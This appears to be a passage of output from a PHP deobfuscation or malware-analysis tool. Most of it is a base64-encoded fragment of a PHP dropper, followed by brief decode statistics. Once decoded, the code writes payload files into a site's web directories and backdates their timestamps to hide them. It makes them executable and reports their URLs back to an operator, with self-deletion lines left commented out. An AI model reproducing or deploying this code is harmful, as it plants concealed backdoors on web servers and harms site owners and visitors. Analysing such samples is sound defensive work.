wgJHRlbXBfcGF5bG9hZF9uYW1lKSA9PT0gZmFsc2UpCiAgICAgICAgewogICAgICAgICAgICAkdXJpX3BhdGggPSAkdXJpX3BhdGggLiAiLyIgIC4gJHRlbXBfcGF5bG9hZF9uYW1lOwogICAgICAgIH0KICAgICAgICAkZnVsbF91cmkgPSAkYmFzZV93d3dfcGF0aCAuIChzdHJwb3MoJHVyaV9wYXRoLCAiLyIpID09IDAgPyAkdXJpX3BhdGggOiAiLyIuJHVyaV9wYXRoKTsKCiAgICAgICAgaWYgKFdyaXRlUGF5bG9hZCgkZnVsbF9wYXlsb2FkX25hbWUsICRwYXlsb2FkX2ZpbGUpKQogICAgICAgIHsKICAgICAgICAgICAgdG91Y2goJGZ1bGxfcGF5bG9hZF9uYW1lLCAkYmFzZV9sb2NhbF9wYXRoX3RpbWUpOyAvLyBzZXQgbGFzdCBtb2RpZmljYXRpb24gdGltZSBhcyByb290IGZvbGRlcgogICAgICAgICAgICBjaG1vZCgkZnVsbF9wYXlsb2FkX25hbWUsIDA3NTUpOwogICAgICAgICAgICBlY2hvICJVUkwjaHR0cDovLyIgLiAkZnVsbF91cmkgLiBQSFBfRU9MOwogICAgICAgICAgICAkZ29vZD1UUlVFOwogICAgICAgICAgICAkZ29vZF9jb3VudGVyKys7CiAgICAgICAgICAgIGlmICgkZ29vZF9jb3VudGVyID4xKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvL3VubGluaygiZGZhb25mcGZrd2cucGhwIik7CiAgICAgICAgICAgICAgICBlY2hvICIjQ0NDVVJMIjsKICAgICAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQppZighJGdvb2QpCiAgICBlY2hvICJVUkwjU1RBVFVTX0NBTlRVUExPQUQjQ0NDVVJMIjsKZWNobyAiI0NDQ1VSTCI7Ci8vdW5saW5rKCJkZmFvbmZwZmt3Zy5waHAiKTsKZXhpdCgpOw==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 6ea6623e8479a65e711124e77aa47e4c
Eval Count 1
Decode Time 137 ms